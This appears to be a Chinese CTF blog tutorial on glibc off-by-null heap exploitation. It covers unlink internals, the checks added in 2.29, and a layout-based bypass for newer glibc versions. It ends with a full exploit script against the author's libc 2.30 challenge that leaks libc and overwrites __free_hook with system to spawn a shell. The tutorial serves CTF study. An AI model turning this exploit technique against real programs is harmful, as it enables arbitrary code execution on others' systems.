前言
off-by-null是堆中的常见漏洞,很多时候都是结合堆布局来进行利用的。这里结合原理解析、不同版本和条件的off-by-null以及常见的漏洞条件做个总结。
一、原理解析
主要发生在_int_free
的unlink中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } #define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) malloc_printerr (check_action, "corrupted double-linked list" , P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL , 0 )) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) malloc_printerr (check_action, "corrupted double-linked list (not small)" , P, AV); if (FD->fd_nextsize == NULL ) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
为了方便,依据物理地址相邻来命名如下:
即当size大于global_max_fast且不是mmap出来的chunk时,就会进入判断。所以这里我们进行释放用的chunk的大小就必须要大于global_max_fast才行,否则就是改掉了pre_inuse位也是直接进入fastbin,不会进入判断的。
先依据当前chunk(chunkP)的pre_inuse位来判断前一个chunk(preChunk)是否处于释放状态,是则进入unlink,将前一个chunk取出
然后判断下一个chunk(nextChunk)是否是top_chunk,是则直接与top_chunk合并。
若nextChunk不为top_chunk,再判断下一个Chunk的再下一个chunk的pre_inuse位来判断nextChunk是否处于释放状态,若是则进入unlink。
然后unlink中就不细说,就是双向循环链表解链的过程,依据fd和bk来查找并解链,但是我们的off-by-null通常不会涉及到nextsize位的使用,所以基本不用看后面的。需要注意的是,由于这里会检查,即:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
所以我们需要将进入unlink的chunk的fd和bk来进行伪造或者干脆直接释放使其直接进入unsortedbin中完成双向链表的加持。这里先讲放入unsortedbin中来获取fd和bk的方法,伪造的方法一般用在2.29及以上的高版本中,因为那时候的unlink加入了关于size位的检查,不能简单得伪造fd和bk。
其次,这里还需要明白一个寻找chunk的原理。
寻找preChunk:preChunk_addr = chunkP_addr - chunkP->pre_size
寻找nextChunk:nextChunk_addr = chunkP_addr + chunkP->size
即以下源码,这个一直没有变化过:
1 2 3 4 5 6 7 8 9 10 11 12 #define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p))) #define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p))) #define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS)) #define inuse(p) \ ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
所以,如果我们可以伪造pre_size和in_use位,就能触发向上任意寻找一个满足fd和bk为双向链表的chunk,从而将中间所有的chunk都一并合并为一个Chunk释放掉。(向下合并也可以的,不过一般不常使用)
这里就是通过释放chunkP,依据pre_size向上寻找到原本已经在unsortedbin中的preChunk,其FD和BK已经组成双向循环链表,可以绕过检查,所以释放ChunkP之后preChunk+OverlapChunk+chunkP都进入到unsortedbin中。但是OverlapChunk本身其实并没有被释放,我们再从unsortedbin中申请切割出preChunk大小的chunk,再申请就可以得到OverlapChunk。这样我们就有两个指针都指向OverlapChunk,从而伪造出UAF,之后我们就可以通过OverlapChunk来getshell了。
1.常用布局
1 2 3 4 5 6 7 add_malloc(0xf8 ,'\x00' *0xf8 ) add_malloc(0x68 ,'\x00' *0x68 ) add_malloc(0xf8 ,'\x00' *0xf8 ) add_malloc(0x68 ,'\x00' *0x68 ) free(0x1 ) edit(0x2 ,0x70 ,'\x00' *0x60 +p64(0x70 +0x100 )+p16(0x100 )) free(0x3 )
off-by-null在调试中不太好搞,所以我就借用堆溢出来假设存在off-by-null,将chunk3原本的size位0x101通过off-by-null变成0x100即可。
2.注意事项
(1)顺序
此外需要注意的是,需要先释放chunk1,再溢出修改chunk3。不然如果先修改chunk3,那么释放chunk1的时候,寻找chunk1的nextChunk即chunk2,判断chunk2是否处于释放状态时,会找到chunk3,依据pre_inuse位发现chunk2已经处于释放状态,那么尝试进入unlink合并,但是这里的chunk2的fd和bk并没有组成双向循环链表,所以会出错。
(2)size位的设置
二、更新换代
1.Glibc2.27
这里也不是特指2.27,而指的是Glibc2.29以下的存在tcache的版本,这类版本通常需要填充满tcache再进行释放,也不需要多讲。
2.Glibc2.29
从这个版本开始,off-by-null由于加入的检查,引入了好几种全新的利用方式。
(1)_int_free中的变化
1 2 3 4 5 6 7 8 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); }
加入的检查是
1 2 if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" );
这里的p因为p = chunk_at_offset(p, -((long) prevsize));
已经变成了preChunk。所以这里就是检查preChunk->size是否等于chunkP->pre_size。按照上面那张图的逻辑,preChunk的size为0x101,chunkP的pre_size为0x170,两个不等于,根本就无法进入unlink中,直接崩掉。
(2)unlink变化
首先unlink从宏定义变成了全局函数定义,名字也从unlink变成了unlink_chunk,但实际内容没有变太多,只是加入了一些检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" ); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL ) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)" ); if (fd->fd_nextsize == NULL ) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }
加入的检查,就加了一个if语句:
1 2 if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" );
即在unlink时会检查nextChunk的pre_size是否等于chunkP的size。
按照之前那张图的逻辑,进入unlink中时preChunk的size为0x100,preChunk的nextChunk,即overlapChunk的pre_size为0x100,相等,可以满足要求,没啥大用,但是之后提出的绕过手段也是需要绕过这个检查的。
▲后面的更高版本,到2.33都没变化,也就不提了。只是2.32中的指针异或可能需要注意一下,但是之后的绕过手段一般是基于unsortedbin,smallbin,largebin来绕过,不存在指针异或的情况,所以也不用太在意。
三、高版本花式绕过
这里将的是2.29及以上的版本
第一种
这个之前写过,参考这篇文章:
2.29下的off-by-null | PIG-007
或者t1an5g师傅的文章:
https://bbs.pediy.com/thread-257901.htm#msg_header_h2_2
当然ex师傅的原始解析也很好:
http://blog.eonew.cn/archives/1233
但是这个需要爆破半个字节,也不能对size做太多的限制,且chunk需要申请大概有24个,所以看个人需要。
第二种
这个也写过,参考这篇:
2.29-2.32下的off-by-null | PIG-007
当然我也是参考WJH师傅的:
glibc 2.29-2.32 off by null bypass - 安全客,安全资讯平台 (anquanke.com)
这个不需要爆破,但是对size的限制不能太严格,需要largebin的size。
第三种
这个还没写过总结,现在来,不过先贴下文章,init-0师傅的:
堆漏洞利用(2.29以上glibc,off-by-null, 加了申请size限制) - 安全客,安全资讯平台 (anquanke.com)
这种方法在size限制下也可以使用,文章中的限制是0xe8的堆块,真是将堆布局用到极高的水平。
▲先看最终的布局效果:
这样就能通过两项检查了:
1 2 3 4 5 6 7 if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" );
(1)前置布局:
由于init-0师傅的题目中,申请chunk是从0x3a0开始的,所以这里我就也以0x3a0开始:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 claim(0x88 ) claim(0x98 ) claim(0xa8 ) claim(0xb8 ) claim(0xc8 ) claim(0xd8 ) claim(0xe8 ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x18 ,'\x00' ) add_malloc(0xa8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xe8 ,'\x00' ) fakeChunk_nextChunk_preSize = p64(0x200 ) + p64(0xe0 ) edit(57 ,0x10 ,fakeChunk_nextChunk_preSize) add_malloc(0xe8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0xe8 ,'\x00' ) add_malloc(0x18 ,'\x00' )
(2)填充tcache
并且将要利用的Chunk释放合并进入unsortedbin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 for i in range (0 ,7 ): free(i+1 ) for i in range (14 ,21 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) for i in range (35 ,42 ): free(i+1 ) for i in range (42 ,49 ): free(i+1 ) for i in range (52 ,57 ): free(i+1 )
1 2 graph TD; 0(chunk53<br>0xa8<br>0x****9c0)-->1(chunk54<br>0xb8)-->2(chunk55<br>0xd8)-->3(chunk56<br>0xd8)-->4(chunk57<br>0xe8<br>0x****cf0)
(3)重构5357结构为97101
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 claim(0x88 ) claim(0xa8 ) claim(0xb8 ) claim(0xd8 ) claim(0xe8 ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) fake_chunk_size = 0x98 * "a" + p16(0x200 ) edit(98 ,0x98 +0x2 ,fake_chunk_size) add_malloc(0x88 ,'\x00' ) add_malloc(0x88 ,'\x00' ) add_malloc(0xd8 ,'\x00' )
重构之后如下
1 2 graph TD; 0(chunk97<br>0x98<br>0x****9c0)-->1(chunk98<br>0x98)-->2(chunk99<br>0x88)-->3(chunk100<br>0x88)-->4(chunk101<br>0xd8<br>0x****cf0)-->5(0xe0碎片)
那么实际上其实原先的0x420被申请了0x340,还有一部分0xe0没有被申请出来。
(4)构造preChunk的fd和bk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for i in range (7 ,14 ): free(i+1 ) for i in range (0 ,7 ): free(i+1 ) for i in range (42 ,49 ): free(i+1 ) free(51 ) free(99 ) free(60 )
(5)再重构97~101为97->124->132->134
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 free(98 ) claim(0x88 ) claim(0x98 ) claim(0xe8 ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) for i in range (0 ,7 ): free(i+1 ) free(100 ) claim(0x88 ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x38 ,'\x00' )
重构之后如下
1 2 graph TD; 0(chunk97<br>0x98<br>0x****f9c0)-->1(chunk124<br>0xb8<br>chunk99被包含<br>0x****fa60)-->2(chunk132<br>0xb8<br>0x****fb20)-->3(chunk134<br>0x38<br>0x****fbe0)-->4(0xe0碎片)
(6)修复FD->bk和BK->fd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for i in range (42 ,49 ): free(i+1 ) for i in range (7 ,14 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) free(133 ) free(132 ) free(123 )
(7)再重构为97->124->157->134
方便将0x****ff70
和0x****f900
的对于fd,bk进行off-by-null,使得0xb20变为0xb00。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 free(59 ) claim(0x98 ) claim(0xb8 ) claim(0xe8 ) add_malloc(0xc8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x18 ,'\x00' ) for i in range (7 ,14 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) free(161 ) free(159 ) free(157 ) free(50 ) claim(0xb8 ) claim(0x98 ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0xc8 ,'\x00' ) add_malloc(0x68 ,'\x00' )
现在就可以通过chunk179来将0x****f900
中的bk给改掉。
通过chunk156来将0x****ff70
中的fd给改掉。
(8)利用off-by-null得到最终布局
1 2 3 4 5 6 7 8 9 10 11 partial_null_write = 0x98 *'b' partial_null_write += p64(0xf1 ) edit(156 ,0x98 +0x8 +0x1 ,partial_null_write+'\x00' ) partial_null_write = 0xa8 *'c' edit(179 ,0xa8 +0x1 ,partial_null_write + '\x00' ) fake_chunk_size = 0x98 *'d' fake_chunk_size += p64(0x2e1 ) edit(124 ,0x98 +0x8 ,fake_chunk_size)
(9)触发off-by-null
1 2 3 for i in range (42 ,49 ): free(i+1 ) free(58 )
▲总结
①利用unsortedbin成链机制,合并unsortedbin中的chunk并且切割,这样就能保留住FD和BK了。
②再利用unsortedbin成链和切割的机制,就能修改到对应preChunk的FD和BK了,修改最后一个字节为\x00即可。
③由于2.29之后的添加的两项检查,所以需要注意的是伪造unsortedbinChunk的size时,也要伪造nextChunk的pre_size和pre_inuse位。
④太他丫的麻烦了,有这时间布局还不如肝其他题…..
再贴个汇总的exp,基于libc2.30,自己的题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 add_malloc(0x1000 -0x290 +0x3000 -0x8 +0x3a0 ,'PIG007NB' ) claim(0x88 ) claim(0x98 ) claim(0xa8 ) claim(0xb8 ) claim(0xc8 ) claim(0xd8 ) claim(0xe8 ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x18 ,'\x00' ) add_malloc(0xa8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xe8 ,'\x00' ) fakeChunk_nextChunk_preSize = p64(0x200 ) + p64(0xe0 ) edit(57 ,0x10 ,fakeChunk_nextChunk_preSize) add_malloc(0xe8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0xe8 ,'\x00' ) add_malloc(0x18 ,'\x00' ) for i in range (0 ,7 ): free(i+1 ) for i in range (14 ,21 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) for i in range (35 ,42 ): free(i+1 ) for i in range (42 ,49 ): free(i+1 ) for i in range (52 ,57 ): free(i+1 ) claim(0x88 ) claim(0xa8 ) claim(0xb8 ) claim(0xd8 ) claim(0xe8 ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) fake_chunk_size = 0x98 * "a" + p16(0x200 ) edit(98 ,0x98 +0x2 ,fake_chunk_size) add_malloc(0x88 ,'\x00' ) add_malloc(0x88 ,'\x00' ) add_malloc(0xd8 ,'\x00' ) for i in range (7 ,14 ): free(i+1 ) for i in range (0 ,7 ): free(i+1 ) for i in range (42 ,49 ): free(i+1 ) free(51 ) free(99 ) free(60 ) free(98 ) claim(0x88 ) claim(0x98 ) claim(0xe8 ) add_malloc(0xd8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) for i in range (0 ,7 ): free(i+1 ) free(100 ) claim(0x88 ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x38 ,'\x00' ) for i in range (42 ,49 ): free(i+1 ) for i in range (7 ,14 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) free(133 ) free(132 ) free(123 ) free(59 ) claim(0x98 ) claim(0xb8 ) claim(0xe8 ) add_malloc(0xc8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0x18 ,'\x00' ) for i in range (7 ,14 ): free(i+1 ) for i in range (21 ,28 ): free(i+1 ) free(161 ) free(159 ) free(157 ) free(50 ) claim(0xb8 ) claim(0x98 ) add_malloc(0xb8 ,'\x00' ) add_malloc(0x98 ,'\x00' ) add_malloc(0xc8 ,'\x00' ) add_malloc(0x68 ,'\x00' ) partial_null_write = 0x98 *'b' partial_null_write += p64(0xf1 ) edit(156 ,0x98 +0x8 +0x1 ,partial_null_write+'\x00' ) partial_null_write = 0xa8 *'c' edit(179 ,0xa8 +0x1 ,partial_null_write + '\x00' ) fake_chunk_size = 0x98 *'d' fake_chunk_size += p64(0x2e1 ) edit(124 ,0x98 +0x8 ,fake_chunk_size) for i in range (42 ,49 ): free(i+1 ) free(58 ) edit(134 ,0x8 ,"e" *8 ) add_malloc(0xd8 ,'\x00' ) show(134 ) libc_base = u64Leakbase(unsortedBinIdx + libc.sym['__malloc_hook' ] + 0x10 ) lg('libc_base' ,libc_base) claim(0xe8 ) add_malloc(0xe8 ,'\x00' ) free(44 ) free(134 ) edit(189 ,0x8 ,p64(libc_base+libc.sym['__free_hook' ]-8 )) add_malloc(0xe8 ,'\x00' ) add_malloc(0xe8 ,'\x00' ) edit(191 ,0x10 ,"/bin/sh\x00" +p64(libc_base+libc.sym['system' ])) free(191 ) it()